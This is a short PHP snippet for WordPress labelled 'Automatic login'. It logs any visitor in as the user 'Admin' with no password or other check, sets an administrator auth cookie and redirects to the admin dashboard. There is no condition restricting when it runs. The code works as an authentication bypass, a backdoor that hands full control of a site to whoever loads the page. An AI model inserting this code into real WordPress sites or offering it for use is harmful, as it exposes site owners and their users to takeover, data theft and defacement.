// Automatic login //
$username = "Admin";
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}